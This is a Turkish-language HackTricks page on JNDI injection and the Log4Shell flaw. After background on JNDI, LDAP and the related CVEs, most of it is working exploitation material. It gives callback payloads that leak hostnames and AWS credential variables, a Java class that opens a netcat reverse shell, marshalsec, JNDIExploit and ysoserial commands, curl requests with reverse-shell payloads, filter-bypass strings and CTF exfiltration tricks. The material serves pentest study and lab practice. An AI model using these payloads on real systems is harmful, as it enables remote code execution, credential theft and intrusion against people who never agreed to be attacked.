JNDI - Java Naming and Directory Interface & Log4Shell

HackTricks'i Destekleyin

Temel Bilgiler

JNDI, 1990'ların sonlarından beri Java'ya entegre edilmiştir ve Java programlarının bir adlandırma sistemi aracılığıyla veri veya nesneleri bulmasını sağlayan bir dizin hizmeti olarak hizmet eder. Farklı sistemlerden veri alımını sağlayan hizmet sağlayıcı arayüzleri (SPI'ler) aracılığıyla çeşitli dizin hizmetlerini destekler, uzaktaki Java nesneleri dahil. Yaygın SPI'ler arasında CORBA COS, Java RMI Registry ve LDAP bulunmaktadır.

JNDI Adlandırma Referansı

Java nesneleri, iki biçimde gelen JNDI Adlandırma Referansları kullanılarak saklanabilir ve alınabilir:

  • Referans Adresleri: Bir nesnenin konumunu belirtir (örneğin, rmi://server/ref), belirtilen adresten doğrudan alım yapılmasına olanak tanır.

  • Uzaktan Fabrika: Bir uzaktan fabrika sınıfına referans verir. Erişim sağlandığında, sınıf uzaktan indirilir ve örneklendirilir.

Ancak, bu mekanizma istismar edilebilir ve potansiyel olarak rastgele kodun yüklenmesine ve çalıştırılmasına yol açabilir. Bir karşı önlem olarak:

  • RMI: java.rmi.server.useCodeabseOnly = true JDK 7u21'den itibaren varsayılan olarak, uzaktan nesne yüklemeyi kısıtlar. Bir Güvenlik Yöneticisi, yüklenebilecekleri daha da sınırlar.

  • LDAP: com.sun.jndi.ldap.object.trustURLCodebase = false JDK 6u141, 7u131, 8u121'den itibaren varsayılan olarak, uzaktan yüklenen Java nesnelerinin çalıştırılmasını engeller. true olarak ayarlandığında, uzaktan kod çalıştırma, bir Güvenlik Yöneticisi'nin denetimi olmadan mümkündür.

  • CORBA: Belirli bir özelliği yoktur, ancak Güvenlik Yöneticisi her zaman aktiftir.

Ancak, JNDI bağlantılarını çözmekten sorumlu olan Adlandırma Yöneticisi, yerleşik güvenlik mekanizmalarına sahip değildir ve bu da herhangi bir kaynaktan nesnelerin alınmasına olanak tanıyabilir. Bu, RMI, LDAP ve CORBA korumalarının aşılabileceği ve rastgele Java nesnelerinin yüklenmesine veya mevcut uygulama bileşenlerinin (gadgets) istismar edilmesine yol açabileceği bir risk oluşturur.

İstismar edilebilir URL örnekleri şunlardır:

  • rmi://attacker-server/bar

  • ldap://attacker-server/bar

  • iiop://attacker-server/bar

Koruma olmasına rağmen, JNDI'nin güvensiz kaynaklardan yüklenmesine karşı koruma eksikliği ve mevcut korumaların aşılma olasılığı nedeniyle zayıflıklar devam etmektedir.

JNDI Örneği

Bir PROVIDER_URL ayarlamış olsanız bile, bir arama sırasında farklı birini belirtebilir ve erişim sağlanabilir: ctx.lookup("<attacker-controlled-url>") ve bu, bir saldırganın kendisinin kontrol ettiği bir sistemden rastgele nesneleri yüklemek için istismar edeceği şeydir.

CORBA Genel Bakış

CORBA (Common Object Request Broker Architecture), uzaktaki nesneleri benzersiz bir şekilde tanımlamak için bir Etkileşimli Nesne Referansı (IOR) kullanır. Bu referans, aşağıdaki gibi temel bilgileri içerir:

  • Tip Kimliği: Bir arayüz için benzersiz tanımlayıcı.

  • Kod Tabanı: Stub sınıfını elde etmek için URL.

Özellikle, CORBA doğası gereği savunmasız değildir. Güvenliği sağlamak genellikle şunları içerir:

  • Bir Güvenlik Yöneticisi kurulumu.

  • Güvenlik Yöneticisi'nin potansiyel olarak kötü niyetli kod tabanlarına bağlantılara izin verecek şekilde yapılandırılması. Bu, aşağıdakilerle sağlanabilir:

  • Soket izni, örneğin, permissions java.net.SocketPermission "*:1098-1099", "connect";.

  • Kötü niyetli dosyaların yerleştirilebileceği belirli dizinler için evrensel (permission java.io.FilePermission "<<ALL FILES>>", "read";) veya dosya okuma izinleri.

Ancak, bazı satıcı politikaları varsayılan olarak bu bağlantılara izin verebilir.

RMI Bağlamı

RMI (Uzaktan Yöntem Çağrısı) için durum biraz farklıdır. CORBA'da olduğu gibi, rastgele sınıf indirme varsayılan olarak kısıtlanmıştır. RMI'yi istismar etmek için genellikle Güvenlik Yöneticisi'ni aşmak gerekir; bu, CORBA'da da geçerlidir.

LDAP

Öncelikle, bir Arama ile bir Lookup arasında ayrım yapmamız gerekiyor. Bir arama, ldap://localhost:389/o=JNDITutorial gibi bir URL kullanarak LDAP sunucusundan JNDITutorial nesnesini bulacak ve özelliklerini alacaktır. Bir lookup, bir isme bağlı olan her şeyi almak için adlandırma hizmetleri içindir.

Eğer LDAP araması SearchControls.setReturningObjFlag() ile true olarak çağrıldıysa, döndürülen nesne yeniden yapılandırılacaktır.

Bu nedenle, bu seçenekleri saldırmak için birkaç yol vardır. Bir saldırgan, sistemlerin topladığına yüklenecek yükleri tanıtarak LDAP kayıtlarını zehirleyebilir (LDAP sunucusuna erişiminiz varsa onlarca makineyi tehlikeye atmak için çok yararlıdır). Bunu istismar etmenin bir diğer yolu, örneğin bir LDAP aramasında MitM saldırısı gerçekleştirmektir.

Eğer bir uygulamanın bir JNDI LDAP URL'sini çözmesini sağlayabilirseniz, arama yapılacak LDAP'ı kontrol edebilir ve istismarı geri gönderebilirsiniz (log4shell).

Deserialization istismarı

istismar serileştirilmiştir ve yeniden serileştirilecektir. Eğer trustURLCodebase true ise, bir saldırgan kendi sınıflarını kod tabanında sağlayabilir; aksi takdirde, sınıf yolundaki gadget'ları istismar etmesi gerekecektir.

JNDI Referans istismarı

Bu LDAP'ı JavaFactory referansları kullanarak saldırmak daha kolaydır:

Log4Shell Zafiyeti

Zafiyet, Log4j'de, ${prefix:name} biçiminde bir özel sözdizimi desteklediği için ortaya çıkmaktadır; burada prefix, name'in değerlendirileceği farklı Lookup'lar arasında bir tanesidir. Örneğin, ${java:version} mevcut çalışan Java sürümüdür.

LOG4J2-313 bir jndi Lookup özelliği tanıttı. Bu özellik, JNDI aracılığıyla değişkenlerin alınmasını sağlar. Genellikle, anahtar otomatik olarak java:comp/env/ ile ön eklenir. Ancak, anahtarın kendisi bir ":" içeriyorsa, bu varsayılan ön ek uygulanmaz.

Anahtar içinde : mevcut olduğunda, ${jndi:ldap://example.com/a} gibi, hiçbir ön ek yoktur ve LDAP sunucusu nesne için sorgulanır. Bu Lookuplar, hem Log4j yapılandırmasında hem de satırlar kaydedilirken kullanılabilir.

Bu nedenle, RCE elde etmek için gereken tek şey, kullanıcı tarafından kontrol edilen bilgileri işleyen zayıf bir Log4j sürümüdür. Ve bu, Java uygulamaları tarafından bilgi kaydetmek için yaygın olarak kullanılan bir kütüphane olduğu için (İnternet'e açık uygulamalar dahil) log4j'nin, örneğin alınan HTTP başlıkları gibi bilgileri kaydetmesi çok yaygındır. Ancak, log4j yalnızca HTTP bilgilerini değil, geliştiricinin belirttiği herhangi bir girdi ve veriyi kaydetmek için kullanılmamaktadır.

Log4Shell ile İlgili CVE'lerin Genel Görünümü

Bu zafiyet, log4j-core bileşeninde kritik bir güvensiz serileştirme hatasıdır, 2.0-beta9'dan 2.14.1'e kadar olan sürümleri etkilemektedir. uzaktan kod çalıştırma (RCE) olanağı tanır ve saldırganların sistemleri ele geçirmesine olanak sağlar. Sorun, Alibaba Cloud Güvenlik Ekibi'nden Chen Zhaojun tarafından rapor edilmiştir ve çeşitli Apache çerçevelerini etkilemektedir. 2.15.0 sürümündeki ilk düzeltme eksikti. Savunma için Sigma kuralları mevcuttur (Kural 1, Kural 2).

Başlangıçta düşük derecelendirilmiş ancak daha sonra kritik olarak yükseltilen bu CVE, CVE-2021-44228 için 2.15.0'daki eksik bir düzeltmeden kaynaklanan bir Hizmet Reddi (DoS) hatasıdır. Varsayılan olmayan yapılandırmaları etkiler ve saldırganların hazırlanmış yükler aracılığıyla DoS saldırıları gerçekleştirmesine olanak tanır. Bir tweet bir atlatma yöntemini göstermektedir. Sorun, 2.16.0 ve 2.12.2 sürümlerinde mesaj arama desenlerini kaldırarak ve varsayılan olarak JNDI'yi devre dışı bırakarak çözülmüştür.

CVE-2021-4104 [Yüksek]

JMSAppender kullanan Log4j 1.x sürümlerini etkileyen bu CVE, güvensiz bir serileştirme hatasıdır. 1.x dalı için bir düzeltme mevcut değildir ve log4j-core 2.17.0 sürümüne yükseltilmesi önerilmektedir.

Bu zafiyet, Log4j 1.x'in halefidir olan Logback kayıt çerçevesini etkilemektedir. Daha önce güvenli olduğu düşünülen çerçeve, zayıf olduğu bulunmuş ve sorunu çözmek için daha yeni sürümler (1.3.0-alpha11 ve 1.2.9) yayımlanmıştır.

CVE-2021-45105 [Yüksek]

Log4j 2.16.0, bir DoS hatası içermektedir ve CVE'yi düzeltmek için log4j 2.17.0 yayımlanmıştır. Daha fazla ayrıntı BleepingComputer'ın raporunda bulunmaktadır.

Log4j 2.17 sürümünü etkileyen bu CVE, saldırganın log4j'nin yapılandırma dosyasını kontrol etmesini gerektirir. Yapılandırılmış bir JDBCAppender aracılığıyla potansiyel rastgele kod çalıştırma içerir. Daha fazla ayrıntı Checkmarx blog yazısında mevcuttur.

Log4Shell İstismarı

Keşif

Bu zafiyet, korunmasızsa çok kolay bir şekilde keşfedilebilir çünkü en azından belirttiğiniz adrese bir DNS isteği gönderecektir. Bu nedenle, aşağıdaki gibi yükler:

  • ${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a} (canarytokens.com kullanarak)

  • ${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh} (interactsh kullanarak)

  • ${jndi:ldap://abpb84w6lqp66p0ylo715m5osfy5mu.burpcollaborator.net} (Burp Suite kullanarak)

  • ${jndi:ldap://2j4ayo.dnslog.cn} (dnslog kullanarak)

  • ${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520} (huntress kullanarak)

Bir DNS isteği alındığında, bu uygulamanın istismar edilebilir olduğu anlamına gelmez (veya hatta zayıf), bunu istismar etmeyi denemeniz gerekecektir.

2.15 sürümünü istismar etmek için localhost kontrol atlatmasını eklemeyi unutmayın: ${jndi:ldap://127.0.0.1#...}

Yerel Keşif

Kütüphanenin yerel zayıf sürümlerini arayın:

find / -name "log4j-core*.jar" 2>/dev/null | grep -E "log4j\-core\-(1\.[^0]|2\.[0-9][^0-9]|2\.1[0-6])"

Doğrulama

Daha önce listelenen bazı platformlar, talep edildiğinde kaydedilecek bazı değişken verileri eklemenize izin verecektir. Bu, 2 şey için çok faydalı olabilir:

  • Açığı doğrulamak için

  • Açığı istismar ederek bilgi sızdırmak için

Örneğin, şöyle bir şey talep edebilirsiniz: veya ${jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a} gibi ve eğer env değişkeninin değeri ile bir DNS isteği alınırsa, uygulamanın açık olduğunu bilirsiniz.

Denemek isteyebileceğiniz diğer bilgiler:

${env:AWS_ACCESS_KEY_ID}
${env:AWS_CONFIG_FILE}
${env:AWS_PROFILE}
${env:AWS_SECRET_ACCESS_KEY}
${env:AWS_SESSION_TOKEN}
${env:AWS_SHARED_CREDENTIALS_FILE}
${env:AWS_WEB_IDENTITY_TOKEN_FILE}
${env:HOSTNAME}
${env:JAVA_VERSION}
${env:PATH}
${env:USER}
${hostName}
${java.vendor}
${java:os}
${java:version}
${log4j:configParentLocation}
${sys:PROJECT_HOME}
${sys:file.separator}
${sys:java.class.path}
${sys:java.class.path}
${sys:java.class.version}
${sys:java.compiler}
${sys:java.ext.dirs}
${sys:java.home}
${sys:java.io.tmpdir}
${sys:java.library.path}
${sys:java.specification.name}
${sys:java.specification.vendor}
${sys:java.specification.version}
${sys:java.vendor.url}
${sys:java.vendor}
${sys:java.version}
${sys:java.vm.name}
${sys:java.vm.specification.name}
${sys:java.vm.specification.vendor}
${sys:java.vm.specification.version}
${sys:java.vm.vendor}
${sys:java.vm.version}
${sys:line.separator}
${sys:os.arch}
${sys:os.name}
${sys:os.version}
${sys:path.separator}
${sys:user.dir}
${sys:user.home}
${sys:user.name}

Any other env variable name that could store sensitive information

RCE Bilgisi

JDK sürümleri 6u141, 7u131 veya 8u121'in üzerindeki sunucular, LDAP sınıf yükleme saldırı vektörüne karşı korunmaktadır. Bu, JNDI'nin LDAP üzerinden uzaktan bir kod tabanı yüklemesini engelleyen com.sun.jndi.ldap.object.trustURLCodebase'in varsayılan olarak devre dışı bırakılmasından kaynaklanmaktadır. Ancak, bu sürümlerin deserialization saldırı vektörüne karşı korunmadığını belirtmek önemlidir.

Bu daha yüksek JDK sürümlerini istismar etmeyi hedefleyen saldırganlar için, Java uygulaması içinde bir güvenilir alet kullanmak gereklidir. Bu amaçla genellikle ysoserial veya JNDIExploit gibi araçlar kullanılır. Aksine, daha düşük JDK sürümlerini istismar etmek nispeten daha kolaydır çünkü bu sürümler, keyfi sınıfları yükleyip çalıştırmak için manipüle edilebilir.

Daha fazla bilgi için (RMI ve CORBA vektörleri üzerindeki sınırlamalar gibi) önceki JNDI İsimlendirme Referansı bölümüne veya https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/ adresine bakın.

RCE - Marshalsec ile özel yük

Bunu THM kutusunda test edebilirsiniz: https://tryhackme.com/room/solar

marshalsec aracını kullanın (jar sürümü burada mevcuttur). Bu yaklaşım, istismarın barındırılacağı ikincil bir HTTP sunucusuna bağlantıları yönlendirmek için bir LDAP yönlendirme sunucusu kurar:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<your_ip_http_server>:8000/#Exploit"

Hedefi bir ters shell kodu yüklemeye zorlamak için, aşağıdaki içeriğe sahip Exploit.java adında bir Java dosyası oluşturun:

public class Exploit {
static {
try {
java.lang.Runtime.getRuntime().exec("nc -e /bin/bash YOUR.ATTACKER.IP.ADDRESS 9999");
} catch (Exception e) {
e.printStackTrace();
}
}
}

Java dosyasını bir sınıf dosyasına derlemek için: javac Exploit.java -source 8 -target 8. Ardından, sınıf dosyasını içeren dizinde bir HTTP sunucusu başlatmak için: python3 -m http.server komutunu kullanın. marshalsec LDAP sunucusu bu HTTP sunucusunu referans aldığından emin olun.

Hedef web sunucusunda exploit sınıfının çalıştırılmasını tetiklemek için aşağıdaki gibi bir yük gönderin:

${jndi:ldap://<LDAP_IP>:1389/Exploit}

Not: Bu istismar, Java'nın LDAP üzerinden uzaktan kod tabanı yüklemeye izin verecek şekilde yapılandırılmasına dayanır. Eğer bu mümkün değilse, rastgele kod yürütme için güvenilir bir sınıfı istismar etmeyi düşünün.

RCE - JNDIExploit

Yazarın log4shell keşfinden sonra bu projeyi github'dan kaldırdığı için bir neden var. https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2 adresinde önbelleğe alınmış bir versiyonunu bulabilirsiniz, ancak yazarın kararına saygı göstermek istiyorsanız bu açığı istismar etmek için farklı bir yöntem kullanın.

Ayrıca, kaynak kodunu wayback makinesinde bulamazsınız, bu yüzden ya kaynak kodunu analiz edin ya da neyi yürüttüğünüzü bilmeden jar dosyasını çalıştırın.

Bu örnek için, port 8080'de log4shell için bu savunmasız web sunucusunu çalıştırabilirsiniz: https://github.com/christophetd/log4shell-vulnerable-app (README'de nasıl çalıştırılacağını bulacaksınız). Bu savunmasız uygulama, HTTP istek başlığı X-Api-Version'ın içeriğini log4shell'in savunmasız bir versiyonu ile kaydediyor.

Ardından, JNDIExploit jar dosyasını indirip şu şekilde çalıştırabilirsiniz:

wget https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888 # Use your private IP address and a port where the victim will be able to access

Kodun sadece birkaç dakikasını okuduktan sonra, com.feihong.ldap.LdapServer ve com.feihong.ldap.HTTPServer içinde LDAP ve HTTP sunucularının nasıl oluşturulduğunu görebilirsiniz. LDAP sunucusu hangi yükün sunulması gerektiğini anlayacak ve kurbanı, istismarı sunacak olan HTTP sunucusuna yönlendirecektir. com.feihong.ldap.gadgets içinde, istenen eylemi gerçekleştirmek için kullanılabilecek bazı özel aletler bulabilirsiniz (potansiyel olarak rastgele kod çalıştırmak). Ve com.feihong.ldap.template içinde, istismarları üretecek farklı şablon sınıflarını görebilirsiniz.

Tüm mevcut istismarları java -jar JNDIExploit-1.2-SNAPSHOT.jar -u ile görebilirsiniz. Bazı yararlı olanlar şunlardır:

ldap://null:1389/Basic/Dnslog/[domain]
ldap://null:1389/Basic/Command/Base64/[base64_encoded_cmd]
ldap://null:1389/Basic/ReverseShell/[ip]/[port]
# But there are a lot more

Yani, örneğimizde, zaten o docker zayıf uygulamasını çalıştırıyoruz. Onu saldırmak için:

# Create a file inside of th vulnerable host:
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'

# Get a reverse shell (only unix)
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/ReverseShell/172.17.0.1/4444}'
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/bmMgMTcyLjE3LjAuMSA0NDQ0IC1lIC9iaW4vc2gK}'

Saldırıları gönderdiğinizde, JNDIExploit-1.2-SNAPSHOT.jar dosyasını çalıştırdığınız terminalde bazı çıktılar göreceksiniz.

Diğer istismar seçenekleri için java -jar JNDIExploit-1.2-SNAPSHOT.jar -u komutunu kontrol etmeyi unutmayın. Ayrıca, ihtiyacınız olursa, LDAP ve HTTP sunucularının portunu değiştirebilirsiniz.

RCE - JNDI-Exploit-Kit

Önceki istismara benzer şekilde, bu açığı istismar etmek için JNDI-Exploit-Kit kullanmayı deneyebilirsiniz. Kurbanınıza göndermek için URL'leri oluşturmak üzere şu komutu çalıştırabilirsiniz:

# Get reverse shell in port 4444 (only unix)
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -S 172.17.0.1:4444

# Execute command
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -C "touch /tmp/log4shell"

Özel olarak üretilmiş bir java nesnesi kullanan bu saldırı, THM solar room gibi laboratuvarlarda çalışacaktır. Ancak, bu genellikle çalışmayacaktır (çünkü varsayılan olarak Java, LDAP kullanarak uzaktan kod tabanı yüklemek için yapılandırılmamıştır) bence çünkü rastgele kod çalıştırmak için güvenilir bir sınıfı istismar etmiyor.

RCE - JNDI-Injection-Exploit-Plus

https://github.com/cckuailong/JNDI-Injection-Exploit-Plus çalışabilir JNDI bağlantıları oluşturmak ve RMI sunucusu, LDAP sunucusu ve HTTP sunucusu başlatarak arka plan hizmetleri sağlamak için başka bir araçtır.\

RCE - ysoserial & JNDI-Exploit-Kit

Bu seçenek, sadece belirli sınıflara güvenen ve herkese güvenmeyen Java sürümlerine saldırmak için gerçekten kullanışlıdır. Bu nedenle, ysoserial, rastgele kod çalıştırmak için kullanılabilecek güvenilir sınıfların serileştirmelerini oluşturmak için kullanılacaktır (ysoserial tarafından istismar edilen güvenilir sınıf, istifanın çalışması için kurban java programı tarafından kullanılmalıdır).

ysoserial veya ysoserial-modified kullanarak JNDI tarafından indirilecek olan deserialization istismarını oluşturabilirsiniz:

# Rev shell via CommonsCollections5
java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.14.10/7878 0>&1' > /tmp/cc5.ser

JNDI-Exploit-Kit kullanarak, istismar için JNDI bağlantıları oluşturun; burada istismar, savunmasız makinelerden bağlantılar bekleyecektir. JNDI-Exploit-Kit tarafından otomatik olarak oluşturulabilen farklı istismarları veya hatta kendi deserialization yüklerinizi (sizin veya ysoserial tarafından oluşturulan) sunabilirsiniz.

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tmp/cc5.ser

Artık oluşturulmuş bir JNDI bağlantısını kullanarak açığı istismar edebilir ve ters shell elde edebilirsiniz, sadece bunu log4j'nin savunmasız bir versiyonuna göndererek: ${ldap://10.10.14.10:1389/generated}

Bypass'ler

${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//attackerendpoint.com/}
${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attackerendpoint.com/}
${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://attackerendpoint.com/}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attackerendpoint.com/z}
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attackerendpoint.com/}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://attackerendpoint.com/}
${${::-j}ndi:rmi://attackerendpoint.com/} //Notice the use of rmi
${${::-j}ndi:dns://attackerendpoint.com/} //Notice the use of dns
${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"

Otomatik Tarayıcılar

Test için Laboratuvarlar

Post-Log4Shell Sömürüsü

Bu CTF yazısı bazı Log4J özelliklerinin istismar edilmesinin nasıl mümkün olduğunu iyi bir şekilde açıklamaktadır.

Log4j'nin güvenlik sayfası bazı ilginç cümleler içermektedir:

2.16.0 sürümünden itibaren (Java 8 için), mesaj arama özelliği tamamen kaldırılmıştır. Yapılandırmadaki aramalar hala çalışmaktadır. Ayrıca, Log4j artık varsayılan olarak JNDI erişimini devre dışı bırakmaktadır. Yapılandırmadaki JNDI aramaları artık açıkça etkinleştirilmelidir.

2.17.0 sürümünden itibaren (ve Java 7 ve Java 6 için 2.12.3 ve 2.3.1), yalnızca yapılandırmadaki arama dizeleri özyinelemeli olarak genişletilmektedir; başka bir kullanımda, yalnızca en üst düzey arama çözülür ve herhangi bir iç içe geçmiş arama çözülmez.

Bu, varsayılan olarak herhangi bir jndi istismarını unutabileceğiniz anlamına gelir. Dahası, özyinelemeli aramalar gerçekleştirmek için bunları yapılandırmanız gerekir.

Örneğin, bu CTF'de bu, log4j2.xml dosyasında yapılandırılmıştı:

<Console name="Console" target="SYSTEM_ERR">
<PatternLayout pattern="%d{HH:mm:ss.SSS} %-5level %logger{36} executing ${sys:cmd} - %msg %n">
</PatternLayout>
</Console>

Env Lookups

Bu CTF 'de saldırgan ${sys:cmd} değerini kontrol ediyordu ve bir ortam değişkeninden bayrağı dışarıya çıkarması gerekiyordu. Bu sayfada önceki yükler içinde görüldüğü gibi, ${env:FLAG} gibi ortam değişkenlerine erişmenin farklı yolları vardır. Bu CTF'de bu işe yaramadı ama diğer gerçek yaşam senaryolarında işe yarayabilir.

Exfiltration in Exceptions

CTF'de, log4J kullanarak java uygulamasının stderr'ine erişemediniz, ancak Log4J istisnaları stdout'a gönderilir, bu da python uygulamasında yazdırıldığı anlamına geliyordu. Bu, bir istisna tetikleyerek içeriğe erişebileceğimiz anlamına geliyordu. Bayrağı dışarıya çıkarmak için bir istisna: ${java:${env:FLAG}}. Bu, ${java:CTF{blahblah}} mevcut olmadığından ve bayrak değeriyle bir istisna gösterileceğinden çalışır:

Conversion Patterns Exceptions

Sadece belirtmek gerekirse, yeni dönüşüm desenleri enjekte edebilir ve stdout'a kaydedilecek istisnaları tetikleyebilirsiniz. Örneğin:

Bu, hata mesajı içindeki verileri dışarıya çıkarmak için faydalı bulunmadı, çünkü arama dönüşüm deseninden önce çözülmedi, ancak tespit gibi diğer şeyler için faydalı olabilir.

Conversion Patterns Regexes

Ancak, bazı regex'leri destekleyen dönüşüm desenlerini kullanarak bir aramadan bilgi dışarıya çıkarmak mümkündür ve ikili arama veya zaman tabanlı davranışları kötüye kullanabilirsiniz.

  • İstisna mesajları aracılığıyla ikili arama

Dönüşüm deseni %replace bir dizeden içeriği değiştirmek için regex'leri kullanarak kullanılabilir. Şöyle çalışır: replace{pattern}{regex}{substitution} Bu davranışı kötüye kullanarak, regex bir şeyle eşleşirse bir istisna tetiklenmesini sağlayabilir (ve bulunamazsa istisna olmaz) şöyle:

%replace{${env:FLAG}}{^CTF.*}{${error}}
# The string searched is the env FLAG, the regex searched is ^CTF.*
## and ONLY if it's found ${error} will be resolved with will trigger an exception
  • Zaman bazlı

Önceki bölümde belirtildiği gibi, %replace regex'leri destekler. Bu nedenle, bayrağın bulunması durumunda bir timeout oluşturmak için ReDoS sayfasındaki yükü kullanmak mümkündür. Örneğin, %replace{${env:FLAG}}{^(?=CTF)((.))*salt$}{asd} gibi bir yük, o CTF'de bir timeout tetikleyecektir.

Bu yazıda, bir ReDoS saldırısı yerine bir amplification attack kullanarak yanıtın zaman farkını oluşturmuştur:

/%replace{
%replace{
%replace{
%replace{
%replace{
%replace{
%replace{${ENV:FLAG}}{CTF\{" + flagGuess + ".*\}}{#############################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}

Eğer bayrak flagGuess ile başlıyorsa, tüm bayrak 29 # ile değiştirilir (bu karakteri kullandım çünkü muhtemelen bayrağın bir parçası olmayacaktır). Sonuçta elde edilen 29 #'nin her biri 54 # ile değiştirilir. Bu işlem 6 kez tekrarlanır ve toplamda 29*54*54^6* =`` ``96816014208 #!

Bu kadar çok #'yi değiştirmek, Flask uygulamasının 10 saniyelik zaman aşımını tetikleyecek ve bu da kullanıcının HTTP durum kodu 500 almasına neden olacaktır. (Eğer bayrak flagGuess ile başlamıyorsa, 500 dışı bir durum kodu alacağız)

Referanslar

HackTricks'i Destekleyin

Last updated